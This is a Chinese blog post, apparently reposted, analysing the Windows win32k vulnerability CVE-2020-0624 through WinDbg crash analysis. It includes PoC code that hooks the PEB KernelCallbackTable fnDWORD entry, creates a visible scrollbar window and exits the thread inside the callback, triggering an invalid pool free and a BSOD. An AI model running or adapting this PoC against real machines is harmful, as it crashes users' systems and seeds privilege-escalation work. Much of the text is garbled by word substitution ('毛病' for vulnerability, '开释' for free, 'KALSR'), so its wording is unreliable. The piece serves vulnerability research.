求内推,来岁结业
这篇文章将分析 Windows 操作系统 win32k 内核模块窗口管理器子系统中的 CVE-2020-0624 毛病,固然作者在 Github 上发布时称这是一个 UAF 毛病,但我在进一步分析之后发现这应该算是一个范例混淆毛病,跑去推特和作者确认了一下,作者说自己 Fuzz 之后直接提交了,没有进一步分析2333 。
配置毛病触发环境
[+] win10 x64 1903[+] windbg preview 1.0.2001.02001
BSOD分析
tip:因为KALSR的关系,我们分析起来会很麻烦,不外我们可以在调试之前先生存一个快照,如许我们调试的时候就可以先不思量KALSR.
崩溃之后我们使用!analyze v来分析一下.首先检察一下错误范例
1: kd> !analyze vERROR: FindPlugIns 8007007b******************************************************************************** ** Bugcheck Analysis ** ********************************************************************************BAD_POOL_CALLER (c2)The current thread is making a bad pool request. Typically this is at a bad IRQL level or double freeing the same allocation, etc.Arguments:Arg1: 0000000000000046, Attempt to free an invalid pool addressArg2: ffffc29800880000, Starting addressArg3: 0000000000000000, 0Arg4: 0000000000000000, 0错误是BAD_POOL_CALLER (c2),出现异常的地点为ffffc29800880000,错误提示是我们开释了错误的内存.没什么头绪,看看堆栈的内容
看起来很像是子函数NewCCI2进行了错误的操作,但其实要稍微复杂一些,后面分析poc源码的时候再说.这里我们只关注win32kfull!Win32FreePoolImpl就好,正是这个函数导致了异常的发生,原来我是想直接给这个函数打断点,但是这个函数会被频仍调用,很不方便.查阅资料发现该函数开释的内存后七位固定为0880000,所以我们可以通过cx寄存器来判断开释的内存是否为一场内存.条件断点如下:
ba e1 win32kfull!Win32FreePoolImpl+0x46 "r rcx;.if(cx == 0){.echo 1}.else{.echo 2;g}"又或者你干脆已经知道了错误内存的地点为ffffc29800880000,那么直接设置rcx=ffffc29800880000也是ok的.
履历了漫长的条件判断之后我们终于断下来了,现在rcx的值为ffffc29800880000,正是我们的错误内存.检测一下属性
解析不出来,直接检察数据
连Header都没有,这根本就不是Kernel Pool,我们必要继承追踪这块希奇的内存,从堆栈看一下调用关系
上层函数是Win32FreePool,静态分析一下
Win32FreePool函数仅仅是将参数通报给Win32FreePoolImpl函数而已,再看看上层函数xxxDestroyThreadInfo
不同于以前的win7,在win10上无法检察tagTHREADINFO结构.所以无法得知tagTHREADINFO+0x2c8代表什么,以及是什么函数设置了它的内容,我们尝试继承下断点.
ba e1 win32kbase!xxxDestroyThreadInfo+0x94 "r rsi;.if(poi(rsi+0x2C8) != 0){.echo 1}.else{g}"当rsi+0x2C8不为零的时候断下来,检察rsi+0x2c8是否为触发异常的内存.
还是谁人熟悉的数字,看来这个地点就是关键,某个函数设置了它的值,并且终极交给xxxDestroyThreadInfo函数来开释他所指向的内存,我们只要一步一步追溯就可以追溯到事发源头.但其实有更方便的法子,我们可以修改一下poc的源码,在统统都发生之前加入一个DebugBreak()断下来,接着对tagTHREADINFO+0x2c8下一个内存访问断点,如许windbg就会主动帮我们找到凶手了.
但是tagTHREADINFO的值每次都会发生变化,所以我们必要再生存一个快照,就在DebugBreak()函数断下来的时候.接着重新找出tagTHREADINFO的值,和刚刚一样:
现在我们恢复到刚刚生存的快照.重新断在DebugBreak()之后,接着我们对ffffc298061d48a0+2c8下一个内存访问断点并运行
断下来之后我们就可以看到修改ffffc298061d48a0+2c8的地方,看一下堆栈里面的调用关系
就是win32kfull!xxxSBTrackInit这个险恶的函数将错误的地点写入了ffffc298061d48a0+2c8.我们在IDA里面检察一下
上面这个名字长的一批的函数返回了一个指向tagSBTrack结构的指针,之后这个指针将会被写入tagTHREADINFO+0x2c8处,即tagTHREADINFO->pSBTrack.这块内存是由nt!MmCommitSessionMappedView函数分配的,而ExFreePool函数只能开释由ExAllocatePool,ExAllocatePoolWithTag,ExAllocatePoolWithQuota或ExAllocatePoolWithQuotaTag分配的内存,天然会触发异常从而导致BSOD.
poc源码分析
因为作者给出了源代码,所以我们接着看一下poc的源代码,我分成几个小部分来一一分析.
/* 获取指向TEB和PEB的指针 */ DWORD OldProtect{}; /* 获取指向TEB和PEB的指针 */ PTEB teb = NtCurrentTeb(); PPEB peb = teb->ProcessEnvironmentBlock;OldProtect只是用来生存内存被修改前的访问保护值,teb和peb则分别生存线程环境块和进程环境块.
PVOID pCCI2 = &((PVOID*)peb->KernelCallbackTable)[2];进程环境块中的KernelCallbackTable生存着函数指针表的副本,KeUserModeCallback通过参数ApiNumber作为索引来选择函数指针表中相应的函数.但是为什么是2,我们可以在这两句代码之前下一个断点
0: kd> dt nt!_PEB @$peb +0x058...... +0x058 KernelCallbackTable : 0x00007ff5`6ad80028 Void......0: kd> dps poi($peb+58)00007ffa`2bdb6330 00007ffa`2bd35150 USER32!_fnCOPYDATA00007ffa`2bdb6338 00007ffa`2bdae720 USER32!_fnCOPYGLOBALDATA00007ffa`2bdb6340 00007ffa`2bd52cd0 USER32!_fnDWORD00007ffa`2bdb6348 00007ffa`2bd56780 USER32!_fnNCDESTROY00007ffa`2bdb6350 00007ffa`2bd5cd50 USER32!_fnDWORDOPTINLPMSG......peb+58的地点就是KernelCallbackTable的地点,这里的2是USER32!_fnDWORD.假如我们向滚动条子控件发送WM_LBUTTONDOWN,消息时,会调用到win32kfull!xxxSBTrackInit()函数,该函数首先会创建一个Session Pool,用来生存 tagSBTrack结构.所以后面我们会特意营造这种情景来调用这个回调函数.
/* BOOL VirtualProtect( // 此函数更改对调用进程的虚拟地点空间中的已提交页面区域的保护 LPVOID lpAddress, // 要更改其访问保护属性的页面区域的起始页面 SIZE_T dwSize, // 要更改其访问保护属性的区域的大小 DWORD flNewProtect, // 内存保护选项,PAGE_EXECUTE_READWRITE为可读可写可执行权限 PDWORD lpflOldProtect // 指向变量的指针,该变量接收页面的指定区域中第一页的先前访问保护值 ); PVOID InterlockedExchangePointer( // 此函数原子交换一对地点 PVOID volatile *Target, // 目标地点 PVOID Value // 与目标函数交换的地点 ); */ if (!VirtualProtect(pCCI2, sizeof(PVOID), PAGE_EXECUTE_READWRITE, &OldProtect)) return 0; OrgCCI2 = (PFNUSER32CALLBACK)InterlockedExchangePointer((PVOID*)pCCI2, &NewCCI2);我们在上一步已经得到了指向(peb->KernelCallbackTable)2和(peb->KernelCallbackTable)3地点的指针,接着我们只要直接赋值就可以hook这两个函数了
OrgCCI2生存原先的函数指针以使用正常的功能,如许我们的hook函数既可以执行我们自定义的操作,还不影响原本的功能.
hChild = CreateWindow( L"ScrollBar", L"Vul", WS_OVERLAPPEDWINDOW | WS_VISIBLE, CW_USEDEFAULT, CW_USEDEFAULT, 10, 10, NULL, NULL, NULL, NULL );scrollbar的窗口是可见的, 设置WM_VISIBLE,如许才能成功触发.至此,回调函数也hook完了,窗口也已经创建了,我们可以开始思量调用我们hook的函数了,具体实现如下
NTSTATUS NTAPI NewCCI2(PVOID Param){ if (Flag) { ExitThread(0); } return OrgCCI2(Param);}因为被我们hook的两个函数有可能会被其他部分调用,所以我们设置了Flag1和Flag2来跳过我们hook的内容,而去执行OrgCCI2和OrgCCI3,这两个指针生存的正是hook之前的函数指针,如许,其他部分调用hook之后的函数也不会发生异常.
Flag = TRUE; SendMessage(hVul, WM_LBUTTONDOWN, 0, 0);在NewCCI2中,因为Flag已经被置1,所以我们会调用if语句之内的内容,也就是ExitThread(0).接着win32kfull!Win32FreePoolImpl就会调用nt!ExFreePool来开释tagSBTrack,导致BSOD.
大概流程是如许:
[+] HOOK KernelCallbackTable->fnDWORD[+] 创建一个可视的滚动条窗口SrollBar并发送WM_LBUTTONDOWN消息[+] 系统处理消息初始化SBTrack结构并开始循环,接着触发fnDWORD回调[+] 由于KernelCallbackTable->fnDWORD已经被我们修改,所以程序转去执行NewCCI2函数[+] win32kfull!xxxSBTrackInit()函数已经将tagSBTrack结构写入了tagTHREADINFO+2c8处,退出线程时会触发BSOD参考文章
晏子霜师傅本人和博客都有很大资助,我偷了很多思绪和技巧:http://www.whsgwl.net/
wjllz师傅,同样是偷思绪和技巧:https://xz.aliyun.com/u/12604
其他:
https://www.anquanke.com/post/id/97498
https://pediy.com/kssd/pediy11/104918.html
一些疑问
遗憾的是,我没能完成使用.因为我对于范例隔离中分配的这块内存实在是没有办法了,问了一位师傅得到的答复是这是一个使用的可能性微乎其微的毛病,但微软官方给出的确实是权限提升的通告,所以师傅们假如有思绪的话请分享一下,不胜感激!!!
来源:http://www.12558.net
免责声明:如果侵犯了您的权益,请联系站长,我们会及时删除侵权内容,谢谢合作! |